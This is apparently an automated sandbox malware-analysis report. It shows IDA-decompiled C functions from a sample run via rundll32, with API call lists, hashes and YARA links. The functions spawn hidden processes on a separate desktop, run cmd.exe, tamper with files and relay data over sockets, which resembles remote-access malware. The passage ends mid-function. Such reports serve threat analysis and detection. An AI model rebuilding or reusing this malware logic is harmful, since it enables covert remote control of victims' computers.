Instruction ID: 7c0d5ba5313a942bf68688cf43ec009517763a7e60b01d7bf99f4ca116b87b6c
Opcode Fuzzy Hash: 6fd2b767c17ac9f71038f5941ead945b3fc98cdeca70446411a69d8aae4daf18
Instruction Fuzzy Hash: D541937150B7199BE311AB34FE4AF1A3B6AA705B10F08801BF900EB391E7799805FF61

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7B00 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 151
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC7B00(char* __ecx) {
				short _v1020;
				short _v1540;
				short _v1548;
				short _v1644;
				short _v1704;
				struct _STARTUPINFOW _v1780;
				struct _PROCESS_INFORMATION _v1800;
				char _v1808;
				WCHAR* _t27;
				void* _t44;
				void* _t45;
				void* _t46;
				WCHAR* _t58;
				WCHAR* _t59;
				intOrPtr _t60;
				WCHAR* _t61;
				intOrPtr _t67;
				char* _t70;
				WCHAR* _t71;

				_t70 = __ecx;
				_t27 = GetCommandLineW();
				if(_t27 != 0) {
					lstrcpyW( &_v1548, _t27);
					wsprintfA( &_v1808,  *0xfd6a1c,  *0xfd63d8, 0);
					SetEnvironmentVariableA( &_v1800, "1");
					_t58 =  *0xfd6748; // 0xfd783e
					_v1020 = 0;
					lstrcpyW( &_v1020,  &_v1540);
					E00FC10D0( &_v1780, 0, 0x44);
					_v1780.cb = 0x44;
					_v1780.wShowWindow = 0;
					_v1780.dwFlags = 1;
					if(_t58 != 0) {
						lstrcpyW( &_v1644, _t58);
						_v1780.lpDesktop =  &_v1644;
					}
					_t27 = CreateProcessW(0,  &_v1020, 0, 0, 0, 0, 0, 0,  &_v1780,  &_v1800);
					if(_t27 == 0) {
						_t59 =  *0xfd6908; // 0xfd866e
						if(_t59 != 0) {
							_t27 = lstrlenW(_t59);
							_t67 = _t27 + _t27;
							if( *0xfd672c != 0 && _t70 != 0 && _t67 != 0) {
								_t27 = E00FC11D0(_t67);
								_t71 = _t27;
								if(_t71 != 0) {
									_t44 = E00FC1000(_t71, _t59, _t67);
									EnterCriticalSection(0xfd6714);
									 *(_t70 + 1) = _t71;
									goto L19;
								}
							}
						}
					} else {
						_t45 = _v1800.hThread;
						_t60 = _v1800.dwProcessId;
						if(_t45 != 0) {
							CloseHandle(_t45);
						}
						_t46 = _v1800.hProcess;
						if(_t46 != 0) {
							CloseHandle(_t46);
						}
						E00FC1220( &_v1704, 0xfcf2d0, _t60);
						lstrcatW( &_v1704,  *0xfd6910);
						_t27 = lstrlenW( &_v1704);
						_t67 = _t27 + _t27;
						if( *0xfd672c != 0 && _t70 != 0 && _t67 != 0) {
							_t27 = E00FC11D0(_t67);
							_t61 = _t27;
							if(_t61 != 0) {
								_t44 = E00FC1000(_t61,  &_v1704, _t67);
								EnterCriticalSection(0xfd6714);
								 *(_t70 + 1) = _t61;
								L19:
								 *_t70 = 6;
								 *((intOrPtr*)(_t70 + 5)) = _t67;
								LeaveCriticalSection(0xfd6714);
								return _t44;
							}
						}
					}
				}
				return _t27;
			}

0x00fc7b0a
0x00fc7b0c
0x00fc7b14
0x00fc7b29
0x00fc7b3e
0x00fc7b51
0x00fc7b57
0x00fc7b5f
0x00fc7b77
0x00fc7b82
0x00fc7b89
0x00fc7b94
0x00fc7b99
0x00fc7ba3
0x00fc7bae
0x00fc7bb7
0x00fc7bb7
0x00fc7bdb
0x00fc7be3
0x00fc7c85
0x00fc7c8d
0x00fc7c90
0x00fc7c98
0x00fc7ca1
0x00fc7cad
0x00fc7cb2
0x00fc7cb6
0x00fc7cbb
0x00fc7cc8
0x00fc7cce
0x00000000
0x00fc7cce
0x00fc7cb6
0x00fc7ca1
0x00fc7be9
0x00fc7be9
0x00fc7bed
0x00fc7bf9
0x00fc7bfc
0x00fc7bfc
0x00fc7bfe
0x00fc7c04
0x00fc7c07
0x00fc7c07
0x00fc7c14
0x00fc7c27
0x00fc7c32
0x00fc7c3a
0x00fc7c43
0x00fc7c5b
0x00fc7c60
0x00fc7c64
0x00fc7c6d
0x00fc7c7a
0x00fc7c80
0x00fc7cd1
0x00fc7cd6
0x00fc7cd9
0x00fc7cdc
0x00000000
0x00fc7cdc
0x00fc7c64
0x00fc7c43
0x00fc7be3
0x00fc7cec

APIs

GetCommandLineW.KERNEL32(?,?,?), ref: 00FC7B0C
lstrcpyW.KERNEL32 ref: 00FC7B29
wsprintfA.USER32 ref: 00FC7B3E
SetEnvironmentVariableA.KERNEL32(?,00FCF40C), ref: 00FC7B51
lstrcpyW.KERNEL32 ref: 00FC7B77
lstrcpyW.KERNEL32 ref: 00FC7BAE
CreateProcessW.KERNEL32 ref: 00FC7BDB
CloseHandle.KERNEL32(?), ref: 00FC7BFC
CloseHandle.KERNEL32(?), ref: 00FC7C07
lstrcatW.KERNEL32(?), ref: 00FC7C27
lstrlenW.KERNEL32(?,?,?,?,?,00000000,00000044), ref: 00FC7C32
EnterCriticalSection.KERNEL32(00FD6714,?,?,?,?,?,?,?,00000000,00000044), ref: 00FC7C7A
lstrlenW.KERNEL32(00FD866E), ref: 00FC7C90

Part of subcall function 00FC11D0: VirtualAlloc.KERNEL32(00000000,00000001,00003000,00000004,00FC76CF), ref: 00FC11E2

EnterCriticalSection.KERNEL32(00FD6714,?,?,?,?,00000000,00000044), ref: 00FC7CC8
LeaveCriticalSection.KERNEL32(00FD6714,?,?,?,?,00000000,00000044), ref: 00FC7CDC

Strings

D, xrefs: 00FC7B89

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSectionlstrcpy$CloseEnterHandlelstrlen$AllocCommandCreateEnvironmentLeaveLineProcessVariableVirtuallstrcatwsprintf
String ID: D
API String ID: 1870881197-2746444292
Opcode ID: 89e5164ba07d1b21afd8bbd3467349ef370c5163ec4dc1f617ecd5a2bc145b5b
Instruction ID: 224ae24b954828bf5341c37fd6f2ca32e25b78d51013eabdc2e748eb1e86ebc9
Opcode Fuzzy Hash: 89e5164ba07d1b21afd8bbd3467349ef370c5163ec4dc1f617ecd5a2bc145b5b
Instruction Fuzzy Hash: 4341B47250430A9BD720EBA0DE86F9BB7EDBB84710F04442EF945D3151DB78D808AB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FC8F20 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 153
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00FC8F20(intOrPtr __ecx, void* __eflags) {
				short _v1028;
				short _v2052;
				short _v2652;
				short _v2756;
				struct _STARTUPINFOW _v2828;
				struct _PROCESS_INFORMATION _v2844;
				long _v2848;
				WCHAR* _v2852;
				void* _t34;
				long _t35;
				int _t36;
				void* _t37;
				void* _t57;
				void* _t58;
				WCHAR* _t68;
				WCHAR* _t71;
				intOrPtr _t76;
				int _t77;
				WCHAR* _t78;
				WCHAR* _t80;
				void* _t84;
				void* _t85;

				_v2852 = 0;
				_v2848 = 0;
				_t34 = E00FC8C70(__ecx,  &_v2052, __eflags, 0x200, 1,  &_v2852,  &_v2848);
				_t85 = _t84 + 0x10;
				if(_t34 == 0) {
					_t71 = _v2852;
					_t35 = _v2848;
					goto L14;
				} else {
					_v2652 = 0;
					lstrcpyW( &_v2652,  *0xfd674c);
					lstrcatW( &_v2652,  &_v2052);
					lstrcatW( &_v2652,  *0xfd6750);
					_t78 =  *0xfd6748; // 0xfd783e
					_v1028 = 0;
					lstrcpyW( &_v1028,  &_v2652);
					E00FC10D0( &_v2828, 0, 0x44);
					_v2828.cb = 0x44;
					_t85 = _t85 + 0xc;
					_v2828.wShowWindow = 0;
					_v2828.dwFlags = 1;
					if(_t78 != 0) {
						lstrcpyW( &_v2756, _t78);
						_v2828.lpDesktop =  &_v2756;
					}
					if(CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v2828,  &_v2844) == 0) {
						_t35 = GetLastError();
						_t71 = 0x71;
						L14:
						_t76 =  *0xfd6908; // 0xfd866e
						_t36 = E00FC40D0( &_v2052, _t76, _t71, _t35);
						_t68 = _t36;
						__eflags = _t68;
						if(_t68 != 0) {
							_t36 = lstrlenW(_t68);
							_t80 = _t36 + _t36;
							__eflags =  *0xfd672c;
							if( *0xfd672c != 0) {
								__eflags = _t80;
								if(_t80 != 0) {
									_t36 = E00FC11D0(_t80);
									_t77 = _t36;
									__eflags = _t77;
									if(_t77 != 0) {
										_push(_t80);
										_push(_t68);
										goto L19;
									}
								}
							}
						}
					} else {
						_t57 = _v2844.hThread;
						if(_t57 != 0) {
							CloseHandle(_t57);
						}
						_t58 = _v2844.hProcess;
						if(_t58 != 0) {
							CloseHandle(_t58);
						}
						lstrcatW( &_v2052,  *0xfd6910);
						_t36 = lstrlenW( &_v2052);
						_t80 = _t36 + _t36;
						if( *0xfd672c != 0 && _t80 != 0) {
							_t36 = E00FC11D0(_t80);
							_t77 = _t36;
							if(_t77 != 0) {
								_push(_t80);
								_push( &_v2052);
								L19:
								_push(_t77);
								_t37 = E00FC1000();
								EnterCriticalSection(0xfd6714);
								 *0xfd6708 = 6;
								 *0xfd670d = _t80;
								 *0xfd6709 = _t77;
								LeaveCriticalSection(0xfd6714);
								return _t37;
							}
						}
					}
				}
				return _t36;
			}

0x00fc8f2d
0x00fc8f3a
0x00fc8f51
0x00fc8f56
0x00fc8f5b
0x00fc90ad
0x00fc90b1
0x00000000
0x00fc8f61
0x00fc8f6f
0x00fc8f7f
0x00fc8f97
0x00fc8fa7
0x00fc8fa9
0x00fc8fb1
0x00fc8fc9
0x00fc8fd4
0x00fc8fdb
0x00fc8fe3
0x00fc8fe6
0x00fc8feb
0x00fc8ff5
0x00fc8ffd
0x00fc9003
0x00fc9003
0x00fc902f
0x00fc90a0
0x00fc90a6
0x00fc90b5
0x00fc90b5
0x00fc90c4
0x00fc90c9
0x00fc90ce
0x00fc90d0
0x00fc90d3
0x00fc90db
0x00fc90dd
0x00fc90e4
0x00fc90e6
0x00fc90e8
0x00fc90ec
0x00fc90f1
0x00fc90f3
0x00fc90f5
0x00fc90f7
0x00fc90f8
0x00000000
0x00fc90f8
0x00fc90f5
0x00fc90e8
0x00fc90e4
0x00fc9031
0x00fc9031
0x00fc903d
0x00fc9040
0x00fc9040
0x00fc9042
0x00fc9048
0x00fc904b
0x00fc904b
0x00fc905b
0x00fc9065
0x00fc906d
0x00fc9076
0x00fc9086
0x00fc908b
0x00fc908f
0x00fc9095
0x00fc909d
0x00fc90f9
0x00fc90f9
0x00fc90fa
0x00fc9107
0x00fc9112
0x00fc9119
0x00fc911f
0x00fc9125
0x00000000
0x00fc9125
0x00fc908f
0x00fc9076
0x00fc902f
0x00fc9134

APIs

Part of subcall function 00FC8C70: GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,00FCF2D8,00000000,?,?,?,?,?), ref: 00FC8CD4
Part of subcall function 00FC8C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8CFC
Part of subcall function 00FC8C70: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 00FC8D16
Part of subcall function 00FC8C70: WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?), ref: 00FC8D34
Part of subcall function 00FC8C70: CloseHandle.KERNEL32(?,?,?,?,?), ref: 00FC8D40
Part of subcall function 00FC8C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8D4F
Part of subcall function 00FC8C70: lstrcpynW.KERNEL32(?,C:\Users\user\AppData\LocalLow\,?,?,?,?,?), ref: 00FC8D62
Part of subcall function 00FC8C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 00FC8DA5
Part of subcall function 00FC8C70: GetTickCount.KERNEL32 ref: 00FC8DB4
Part of subcall function 00FC8C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 00FC8DC8

lstrcpyW.KERNEL32 ref: 00FC8F7F
lstrcatW.KERNEL32(?,?), ref: 00FC8F97
lstrcatW.KERNEL32(?), ref: 00FC8FA7
lstrcpyW.KERNEL32 ref: 00FC8FC9
lstrcpyW.KERNEL32 ref: 00FC8FFD
CreateProcessW.KERNEL32 ref: 00FC9027
CloseHandle.KERNEL32(?), ref: 00FC9040
CloseHandle.KERNEL32(?), ref: 00FC904B
lstrcatW.KERNEL32(?), ref: 00FC905B
lstrlenW.KERNEL32(?), ref: 00FC9065
GetLastError.KERNEL32 ref: 00FC90A0
lstrlenW.KERNEL32(00000000), ref: 00FC90D3
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC9107
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC9125

Strings

D, xrefs: 00FC8FDB

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: File$lstrlen$CloseHandlelstrcatlstrcpy$CreateCriticalDeleteSection$CountEnterErrorLastLeaveNameProcessTempTickWritelstrcpyn
String ID: D
API String ID: 2188193726-2746444292
Opcode ID: 8dc9c5bdd846a4a6d54471f5b5265bdd7070c9e7ba004fdc7a89e300d68ff6d7
Instruction ID: 96ca17a5780898248fd918fd747209add6bedaeec6340ce38043dd4a721221f6
Opcode Fuzzy Hash: 8dc9c5bdd846a4a6d54471f5b5265bdd7070c9e7ba004fdc7a89e300d68ff6d7
Instruction Fuzzy Hash: A351A67154834A9BD721DB60DD8AF9BB7EDEB88710F04082EF945D3150DB78D908EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2AC0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 132
filestringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC2AC0(WCHAR* __ecx) {
				short _v520;
				long _v524;
				signed char _t17;
				signed char _t22;
				long _t43;
				void* _t49;
				intOrPtr _t50;
				void* _t52;
				void* _t55;
				int _t56;

				_t56 = 0;
				lstrcpyW( &_v520, __ecx);
				_t17 = GetFileAttributesW( &_v520);
				if(_t17 == 0xffffffff || (_t17 & 0x00000010) == 0) {
					L20:
					return 0;
				} else {
					lstrcatW( &_v520,  *0xfd68e4);
					_t22 = GetFileAttributesW( &_v520);
					if(_t22 == 0xffffffff || (_t22 & 0x00000010) != 0) {
						goto L20;
					} else {
						_t55 = CreateFileW( &_v520, 0x10000000, 0, 0, 3, 0, 0);
						if(_t55 != 0xffffffff) {
							_t43 = GetFileSize(_t55, 0);
							if(_t43 > 0x64) {
								_t52 = LocalAlloc(0, _t43);
								if(_t52 != 0) {
									if(ReadFile(_t55, _t52, _t43,  &_v524, 0) != 0) {
										_t49 =  *0xfd6b78; // 0xfd9c96
										if(E00FC1370(_t49) == 0) {
											_t50 =  *0xfd6b74; // 0xfd9c6e
											_t57 = E00FC1370(_t50);
											if(_t33 == 0 || SetFilePointer(_t55, 0, 0, 0) == 0xffffffff) {
												if(WriteFile(_t55, _t52, _t43,  &_v524, 0) == 0 || WriteFile(_t55,  *0xfd6b78, 0x31,  &_v524, 0) == 0) {
													_t56 = 0;
												} else {
													_t56 = 1;
												}
											} else {
												E00FC1000(_t57,  *0xfd6b78, 0x31);
												_t56 = WriteFile(_t55, _t52, _t43,  &_v524, 0);
											}
										}
									}
									LocalFree(_t52);
								}
							}
							CloseHandle(_t55);
						}
						return _t56;
					}
				}
			}

0x00fc2ace
0x00fc2ad0
0x00fc2ae1
0x00fc2ae6
0x00fc2c28
0x00fc2c31
0x00fc2af4
0x00fc2aff
0x00fc2b0a
0x00fc2b0f
0x00000000
0x00fc2b1d
0x00fc2b33
0x00fc2b38
0x00fc2b47
0x00fc2b4c
0x00fc2b5b
0x00fc2b5f
0x00fc2b76
0x00fc2b7c
0x00fc2b8b
0x00fc2b8d
0x00fc2b9a
0x00fc2b9e
0x00fc2beb
0x00fc2c0a
0x00fc2c03
0x00fc2c03
0x00fc2c03
0x00fc2bb2
0x00fc2bbb
0x00fc2bd3
0x00fc2bd3
0x00fc2b9e
0x00fc2b8b
0x00fc2c0d
0x00fc2c0d
0x00fc2c13
0x00fc2c15
0x00fc2c1b
0x00fc2c26
0x00fc2c26
0x00fc2b0f

APIs

lstrcpyW.KERNEL32 ref: 00FC2AD0
GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 00FC2AE1
lstrcatW.KERNEL32(?), ref: 00FC2AFF
GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 00FC2B0A
CreateFileW.KERNEL32(10000000,10000000,00000000,00000000,00000003,00000000,00000000,?,747582B0), ref: 00FC2B2D
GetFileSize.KERNEL32(00000000,00000000,?,?,747582B0), ref: 00FC2B41
LocalAlloc.KERNEL32(00000000,00000000,?,?,?,747582B0), ref: 00FC2B55
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,747582B0), ref: 00FC2B6E
LocalFree.KERNEL32(00000000,?,?,?,747582B0), ref: 00FC2C0D

Part of subcall function 00FC1370: lstrlenA.KERNEL32(00FD6608,00000000,7476F9C0,747581D0,?,00FD6608,00FC724C), ref: 00FC1384
Part of subcall function 00FC1370: lstrlenA.KERNEL32(00000000), ref: 00FC138D

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,747582B0), ref: 00FC2BA7
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,747582B0), ref: 00FC2BCD
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,747582B0), ref: 00FC2BE7
WriteFile.KERNEL32(00000000,00000031,?,00000000,?,?,?,747582B0), ref: 00FC2BFD
CloseHandle.KERNEL32(00000000,?,?,747582B0), ref: 00FC2C15

Strings

d, xrefs: 00FC2B49

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: File$Write$AttributesLocallstrlen$AllocCloseCreateFreeHandlePointerReadSizelstrcatlstrcpy
String ID: d
API String ID: 3834757632-2564639436
Opcode ID: 602735472a81a67c23a0a134498f985cb822bcfd48ccd1c3cc0195164f7bedd7
Instruction ID: a311821e1f3bd909cc9e6907c245afac23628d369927a82c5746737ca7bb01e6
Opcode Fuzzy Hash: 602735472a81a67c23a0a134498f985cb822bcfd48ccd1c3cc0195164f7bedd7
Instruction Fuzzy Hash: 3A31C23150070EBFE210DB60EE8AFAF77ADEB89374F040529F915D2191EB25D909A6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00FC6950 Relevance: 22.6, APIs: 15, Instructions: 135
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00FC6950(intOrPtr __ecx) {
				intOrPtr _v264;
				char _v268;
				long _v272;
				char _v276;
				void* _v280;
				char _v305;
				long _v320;
				intOrPtr _v321;
				char _v322;
				char _v332;
				char _v336;
				char _v338;
				intOrPtr _v352;
				intOrPtr _v368;
				void* __ebp;
				void* _t21;
				void* _t24;
				void* _t29;
				char _t30;
				void* _t31;
				void* _t32;
				char _t35;
				long _t36;
				intOrPtr _t37;
				char* _t42;
				char* _t44;
				void* _t45;
				intOrPtr _t49;
				void* _t51;
				intOrPtr _t52;
				void* _t54;

				_t54 = _v280;
				_t37 = __ecx;
				while(1) {
					L1:
					 *0xfd65ec = 1;
					_v276 = 0x1e;
					_v272 = 0;
					_v264 = _t37;
					_v268 = 1;
					_t21 =  *0xfd7724(_t37,  &_v268, 0, 0,  &_v276);
					if(_t21 != 1) {
						break;
					}
					_t24 =  *0xfd76f8(_t37,  &_v305, _t21, 0);
					asm("sbb eax, eax");
					if( ~(_t24 - 1) + 1 == 0) {
						break;
					}
					E00FC9400(_t37, _v321, _t54);
					if( *0xfd672c != 0) {
						EnterCriticalSection(0xfd6714);
						_t35 =  *0xfd6708; // 0x0
						_t54 =  *0xfd6709; // 0x0
						_v322 = _t35;
						_t36 =  *0xfd670d; // 0x0
						_v320 = _t36;
						 *0xfd6709 = 0;
						 *0xfd670d = 0;
						 *0xfd6708 = 0;
						LeaveCriticalSection(0xfd6714);
					}
					_t49 = 1;
					_t42 =  &_v322;
					while(1) {
						_t29 =  *0xfd76dc(_t37, _t42, _t49, 0);
						if(_t29 <= 0) {
							goto L23;
						}
						_t42 = _t42 + _t29;
						_t49 = _t49 - _t29;
						if(_t49 != 0) {
							continue;
						}
						if(_v338 == 0 || _t54 == 0) {
							L21:
							goto L22;
						} else {
							_t30 = _v336;
							if(_t30 == 0) {
								goto L21;
							}
							_v332 = _t30;
							_t44 =  &_v332;
							_t51 = 4;
							while(1) {
								_t31 =  *0xfd76dc(_t37, _t44, _t51, 0);
								if(_t31 <= 0) {
									goto L23;
								}
								_t44 = _t44 + _t31;
								_t51 = _t51 - _t31;
								if(_t51 != 0) {
									continue;
								}
								_t52 = _v352;
								_t45 = _t54;
								while(1) {
									_t32 =  *0xfd76dc(_t37, _t45, _t52, 0);
									if(_t32 <= 0) {
										goto L23;
									}
									_t45 = _t45 + _t32;
									_t52 = _t52 - _t32;
									if(_t52 != 0) {
										continue;
									}
									if( *0xfd672c == 0) {
										L22:
										Sleep(0x1f4);
										goto L1;
									}
									EnterCriticalSection(0xfd6714);
									if(_v368 <= 0x1000) {
										LocalFree(_t54);
										LeaveCriticalSection(0xfd6714);
										Sleep(0x1f4);
									} else {
										VirtualFree(_t54, 0, 0x8000);
										LeaveCriticalSection(0xfd6714);
										Sleep(0x1f4);
									}
									goto L1;
								}
								goto L23;
							}
							goto L23;
						}
					}
					break;
				}
				L23:
				return 1;
			}

0x00fc6958
0x00fc695c
0x00fc6970
0x00fc6970
0x00fc6974
0x00fc6987
0x00fc6991
0x00fc6999
0x00fc699d
0x00fc69a5
0x00fc69ae
0x00000000
0x00000000
0x00fc69bd
0x00fc69c6
0x00fc69cb
0x00000000
0x00000000
0x00fc69d7
0x00fc69e3
0x00fc69ea
0x00fc69ec
0x00fc69f1
0x00fc69f7
0x00fc69fb
0x00fc6a05
0x00fc6a09
0x00fc6a13
0x00fc6a1d
0x00fc6a24
0x00fc6a24
0x00fc6a26
0x00fc6a2b
0x00fc6a30
0x00fc6a35
0x00fc6a3d
0x00000000
0x00000000
0x00fc6a43
0x00fc6a45
0x00fc6a47
0x00000000
0x00000000
0x00fc6a4e
0x00fc6b1c
0x00000000
0x00fc6a5c
0x00fc6a5c
0x00fc6a62
0x00000000
0x00000000
0x00fc6a68
0x00fc6a6c
0x00fc6a70
0x00fc6a75
0x00fc6a7a
0x00fc6a82
0x00000000
0x00000000
0x00fc6a88
0x00fc6a8a
0x00fc6a8c
0x00000000
0x00000000
0x00fc6a8e
0x00fc6a92
0x00fc6a94
0x00fc6a99
0x00fc6aa1
0x00000000
0x00000000
0x00fc6aa7
0x00fc6aa9
0x00fc6aab
0x00000000
0x00000000
0x00fc6aba
0x00fc6b22
0x00fc6b2d
0x00000000
0x00fc6b2d
0x00fc6ac1
0x00fc6acb
0x00fc6af9
0x00fc6b0a
0x00fc6b11
0x00fc6acd
0x00fc6ad5
0x00fc6ae6
0x00fc6aed
0x00fc6aed
0x00000000
0x00fc6acb
0x00000000
0x00fc6a94
0x00000000
0x00fc6a75
0x00fc6a4e
0x00000000
0x00fc6a30
0x00fc6b3b
0x00fc6b47

APIs

select.WS2_32(?,?,00000000,?), ref: 00FC69A5
recv.WS2_32(00000000,?,00000000,00000000), ref: 00FC69BD
EnterCriticalSection.KERNEL32(00FD6714,?,?,00000000,?), ref: 00FC69EA
LeaveCriticalSection.KERNEL32(00FD6714,?,?,00000000,?), ref: 00FC6A24
send.WS2_32(00000000,?,00000001,00000000), ref: 00FC6A35
send.WS2_32(00000000,00000000,00000004,00000000), ref: 00FC6A7A
send.WS2_32(00000000,00000000,00000000,00000000), ref: 00FC6A99
EnterCriticalSection.KERNEL32(00FD6714,?,?,00000000,?), ref: 00FC6AC1
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 00FC6AD5
LeaveCriticalSection.KERNEL32(00FD6714,?,?,00000000,?), ref: 00FC6AE6
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 00FC6AED
LocalFree.KERNEL32(00000000,?,?,00000000,?), ref: 00FC6AF9
LeaveCriticalSection.KERNEL32(00FD6714,?,?,00000000,?), ref: 00FC6B0A
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 00FC6B11
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 00FC6B2D

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSection$LeaveSleepsend$EnterFree$LocalVirtualrecvselect
String ID:
API String ID: 3482594397-0
Opcode ID: 049da577e2dac89984879f661b7803792025e6779886ad2cd7b8e73b940279d1
Instruction ID: 9ea16796c3cffc3aea07d29b7622984a05a08524d3a39a529d4733a7eb982258
Opcode Fuzzy Hash: 049da577e2dac89984879f661b7803792025e6779886ad2cd7b8e73b940279d1
Instruction Fuzzy Hash: 9C41C37264830E9FD7109F31DD0AF567BEAEB84758F04402EF541E7291DBB4A84CAB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FC20B0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 140
processstringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00FC20B0(void* __ebx, void* __edx, void* __edi, intOrPtr _a4, intOrPtr _a8, void* _a12) {
				short _v1560;
				short _v1570;
				struct _STARTUPINFOW _v1628;
				struct _PROCESS_INFORMATION _v1644;
				void* _v1652;
				intOrPtr _t26;
				long _t35;
				void* _t43;
				void* _t44;
				void* _t50;
				intOrPtr _t51;
				intOrPtr _t57;
				intOrPtr _t59;
				void* _t60;
				intOrPtr _t62;
				intOrPtr _t65;
				intOrPtr* _t66;
				WCHAR* _t68;

				_t60 = __edi;
				_t50 = __ebx;
				_t26 = _a4;
				_t54 =  !=  ? _t26 : 0xfcf2d8;
				_push( !=  ? _t26 : 0xfcf2d8);
				_push(__edx);
				_push(_a8);
				_push( *0xfd68fc);
				E00FC1220( &_v1560,  *0xfd6900, "C:\Windows\system32\cmd.exe");
				_v1628.lpReserved = 0;
				_v1570 = 0;
				_v1628.hStdError = 0;
				asm("xorps xmm0, xmm0");
				_v1628.dwX = 0;
				_v1628.dwY = 0;
				_v1628.wShowWindow = 2;
				_v1628.lpTitle = 0;
				asm("movlpd [esp+0x4c], xmm0");
				asm("movlpd [esp+0x5c], xmm0");
				_v1628.dwFillAttribute = 0;
				asm("movlpd [esp+0x6e], xmm0");
				_v1628.cb = 0x44;
				_v1628.lpDesktop = L"d06ed635";
				_v1628.hStdOutput = 0x10001;
				_v1628.dwFlags = 0x405;
				asm("movups [esp+0x2c], xmm0");
				if(CreateProcessW(0,  &_v1560, 0, 0, 0, 0, 0, 0,  &_v1628,  &_v1644) == 0) {
					_t65 = 0;
					goto L12;
				} else {
					_t43 = _v1644.hProcess;
					if(_t43 != 0) {
						_t57 =  *_t66;
						if(_t57 != 0) {
							 *0xfd6584(_t57, _t43);
							_t43 = _v1652;
						}
						CloseHandle(_t43);
					}
					_t44 = _v1644.hThread;
					if(_t44 != 0) {
						CloseHandle(_t44);
					}
					_t65 = _v1644.dwProcessId;
					if(_t65 == 0) {
						L12:
						_t35 = GetLastError();
						_t59 =  *0xfd6908; // 0xfd866e
						_t68 = E00FC40D0( &_v1560, _t59, 0, _t35);
						if(_t68 == 0) {
							return _t65;
						} else {
							_push(_t60);
							_t62 = lstrlenW(_t68) + _t38;
							if( *0xfd672c == 0 || _t62 == 0) {
								return _t65;
							} else {
								_push(_t50);
								_t51 = E00FC11D0(_t62);
								if(_t51 != 0) {
									E00FC1000(_t51, _t68, _t62);
									EnterCriticalSection(0xfd6714);
									 *0xfd65fc = 6;
